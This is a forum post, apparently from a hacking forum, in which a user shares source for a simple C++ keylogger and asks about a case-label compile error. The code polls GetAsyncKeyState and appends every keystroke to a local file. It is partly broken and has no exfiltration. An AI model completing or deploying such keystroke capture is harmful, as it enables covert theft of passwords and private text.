[C++] Help needed <Case value> 11-23-2015, 04:36 PM
#1
Hey, I am making a keylogger. And I am getting stuck when trying to add new switches.
I get this error
line 47, 55 and 63
I just do it to learn the basics, I might start with Hooks later
I get this error
Code:
case label value exceeds maximum value for typeline 47, 55 and 63
I just do it to learn the basics, I might start with Hooks later
Code:
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <fstream>
using namespace std;
void log();
int main()
{
log();
return 0;
}
void log()
{
char key;
for(;;)
{
//Sleep(0);
for( key=8; key<=222; key++)
{
if(GetAsyncKeyState(key)== -32767)
{
ofstream write ("Record.txt", ios::app);
if( ((key>64)&&(key<91)) && !(GetAsyncKeyState(0x10)) )
{
key+=32;
write << key;
write.close();
break;
}
else if((key>64)&&(key<91))
{
write << key;
write.close();
break;
}
else
{
switch(key)
{
// æ, ø, å
case 146:
{
if(GetAsyncKeyState(0x10))
write << "Æ";
else
write << "æ";
}
break;
case 157:
{
if(GetAsyncKeyState(0x10))
write << "Ø";
else
write << "ø";
}
break;
case 143:
{
if(GetAsyncKeyState(0x10))
write <<"Ã…";
else
write << "Ã¥";
}
break;
//Number + Shift
case 48:
{
if(GetAsyncKeyState(0x10))
write << "=";
else
write << "0";
}
break;
case 49:
{
if(GetAsyncKeyState(0x10))
write << "!";
else
write << "1";
}
break;
case 50:
{
if(GetAsyncKeyState(0x10))
write << " ";
else
write << "2";
}
break;
case 51:
{
if(GetAsyncKeyState(0x10))
write << "#";
else
write << "3";
}
break;
case 52:
{
if(GetAsyncKeyState(0x10))
write << "¤";
else
write << "4";
}
break;
case 53:
{
if(GetAsyncKeyState(0x10))
write << "%";
else
write << "5";
}
break;
case 54:
{
if(GetAsyncKeyState(0x10))
write << "&";
else
write << "6";
}
break;
case 55:
{
if(GetAsyncKeyState(0x10))
write << "/";
else
write << "7";
}
break;
case 56:
{
if(GetAsyncKeyState(0x10))
write << "(";
else
write << "8";
}
break;
case 57:
{
if(GetAsyncKeyState(0x10))
write << ")";
else
write << "9";
}
break;
}
}
/*switch(key)
{
case 8: write << "<Backspace>"; break;
case 27: write << "<Esc>"; break;
case 127: write << "<DEL>"; break;
case 32: write << " "; break;
case 13: write << "<Enter>\n"; break;
default: write << c; break;
}*/
}
}
}
}







![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)



